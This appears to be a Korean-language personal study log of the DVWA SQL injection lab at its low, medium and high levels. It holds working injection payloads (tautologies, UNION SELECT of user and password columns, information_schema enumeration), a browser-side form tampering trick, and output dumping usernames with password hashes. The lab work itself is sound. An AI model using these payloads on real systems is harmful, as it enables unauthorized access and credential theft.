

## [LOW] - 가장 쉬운 단계

### 특징:

- 사용자 입력이 그대로 쿼리에 삽입
- 필터링 X, Prepared Statement X

입력값 : 1 OR '1'=1

**Fatal error:** Uncaught mysqli\_sql\_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'=1' at line 1 in C:\xampp\htdocs\dwva\vulnerabilities\sql\source\low.php:11 Stack trace: #0 C:\xampp\htdocs\dwva\vulnerabilities\sql\source\low.php(11): mysqli\_query(Object(mysqli), 'SELECT first\_na...') #1 C:\xampp\htdocs\dwva\vulnerabilities\sql\index.php(34): require\_once('C:\xampp\htdocs\...') #2 {main} thrown in C:\xampp\htdocs\dwva\vulnerabilities\sql\source\low.php on line 11

오류 분석 : 바깥쪽에서 '로 감싸고 있는데 내부에 또 '가 있어서 문법이 깨졌다.

입력값 : 1' OR '1'='1 또는 1' OR 1=1 #

실제 쿼리 : SELECT first\_name, last\_name FROM users WHERE user\_id = '1' OR '1'='1'

항상 참이므로 모든 사용자 정보가 조회된다. (LIMIT 있으면 1개만 조회)

Vulnerability: S	Vulnerability: SQL Injection
<div>User ID: <input type="text"/></div> <div>ID: 1' OR 1=1 # First name: admin Surname: admin</div> <div>ID: 1' OR 1=1 # First name: Gordon Surname: Brown</div> <div>ID: 1' OR 1=1 # First name: Hack Surname: Me</div> <div>ID: 1' OR 1=1 # First name: Pablo Surname: Picasso</div> <div>ID: 1' OR 1=1 # First name: Bob Surname: Smith</div>	<div>User ID: <input type="text"/> <input type="button" value="Submit"/></div> <div>ID: 1' OR '1'='1 First name: admin Surname: admin</div> <div>ID: 1' OR '1'='1 First name: Gordon Surname: Brown</div> <div>ID: 1' OR '1'='1 First name: Hack Surname: Me</div> <div>ID: 1' OR '1'='1 First name: Pablo Surname: Picasso</div> <div>ID: 1' OR '1'='1 First name: Bob Surname: Smith</div>

## ● [MEDIUM] - 입력 검증 일부 존재

### 🔍 특징:

- `mysqli_real_escape_string()` 사용 → 문자열 특수문자 이스케이프 처리
- 입력값을 숫자(int)로 기대하고 동작
- ', ", --, # 등이 이스케이프되어 일반적인 인젝션이 실패
- UI에서 드롭다운(select box) 사용  
→ 사용자는 직접 값을 입력할 수 없고, 드롭다운에서만 ID를 선택할 수 있음  
→ 클라이언트 측 조작 없이는 인젝션 시도 불가

입력 방법 1: F12로 <select> → <input>으로 바꾸기

```
- <select name="id">
-   <option value="1">1</option>
-   ...
- </select>
+ <input type="text" name="id" value="1 OR 1=1">
```

이렇게 바꾸면 드롭다운이 입력창으로 변한다.

입력 방법 2: Burp Suite 또는 브라우저 도구로 POST 요청 수정

입력값 : 1 OR '1'=1

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'W'1W'=1'

오류 분석 : `medium.php`에서는 `mysqli_real_escape_string()` 함수가 적용되어 있어, '1' = 1 같은 입력은 이스케이프 처리

입력값 : 1 OR 1=1

## Vulnerability: SQL Injection

User ID:

ID: 1 OR 1  
First name: admin  
Surname: admin

ID: 1 OR 1  
First name: Gordon  
Surname: Brown

ID: 1 OR 1  
First name: Hack  
Surname: Me

ID: 1 OR 1  
First name: Pablo  
Surname: Picasso

ID: 1 OR 1  
First name: Bob  
Surname: Smith

## Medium 주요 코드

```
$id = $_POST[ 'id' ];  
$id = mysqli_real_escape_string  
($GLOBALS["__mysqli_ston"], $id);  
$query = "SELECT first_name,  
last_name FROM users WHERE user_id = $id;";
```

입력값 : 0 UNION SELECT user, password FROM users LIMIT 1 OFFSET 0

### Vulnerability: SQL Injection

User ID:

ID: 0 UNION SELECT user, password FROM users LIMIT 1 OFFSET 0  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

목적	페이로드 예시	설명
테이블 이름 확인	UNION SELECT table_name, null FROM information_schema.tables	DB 구조 파악
컬럼 이름 확인	UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users'	특정 테이블 컬럼 확인
DB 이름 확인	UNION SELECT database(), null	현재 DB 이름 보기
사용자 계정 확인	UNION SELECT user(), null	DB에 로그인된 계정

\*UNION은 두 개 이상의 SELECT 결과를 합치는 SQL 키워드입니다.

단, 두 SELECT의 컬럼 개수와 타입이 동일해야 합니다.

LIMIT 1 : 결과 중 1개만 가져와라 ,OFFSET 0 : 0번째(첫 번째)부터 시작해라

null은 그냥 빈 값을 채워넣기 위한 것 (컬럼 수 맞추기 위해)

## [HIGH] - 세션을 통한 쿼리

### 특징:

- `$_POST['id']`처럼 바로 입력값을 쿼리에 쓰지 않고, `$_SESSION['id']`에 값을 저장해서 나중에 쿼리에서 사용함
- 입력은 별도의 input 창(input.php) 에서 받고, 메인 페이지 쿼리에서는 세션 값을 사용해서 실행

### HIGH 주요 코드

```
$id = $_SESSION['id'];  
$query = "SELECT ... WHERE user_id = '$id'";
```

오류: 세션 값으로 처리되기 때문에, 한번 오류가 발생하면 잘못된 값이 계속 유지되어 페이지 접근이 어려워질 수 있다.

PHP 코드로 세션 초기화 (임시 조치)  
DVWA 설치 경로에 있는 high.php 파일 맨 위에 아래 코드를 넣어  
세션 초기화 후 새로 id를 받도록 할 수 있다

```
<?php  
session_start();  
// 세션 초기화  
unset($_SESSION['id']);  
  
// id 값 새로 받기  
if (isset($_REQUEST['id'])) {  
    $_SESSION['id'] = $_REQUEST['id'];  
}  
?>
```

입력값 :  
0' UNION SELECT user, password FROM users --

## Vulnerability: SQL Injection

Click [here to change your ID.](#)

ID: 0' UNION SELECT user, password FROM users --  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 0' UNION SELECT user, password FROM users --  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 0' UNION SELECT user, password FROM users --  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 0' UNION SELECT user, password FROM users --  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 0' UNION SELECT user, password FROM users --  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

✦ 이 문서는 DVWA(SQL Injection) 실습 결과를 정리한 개인 학습 기록입니다.  
취약한 코드나 공격 기법은 교육 및 보안 학습 목적으로만 사용되었습니다.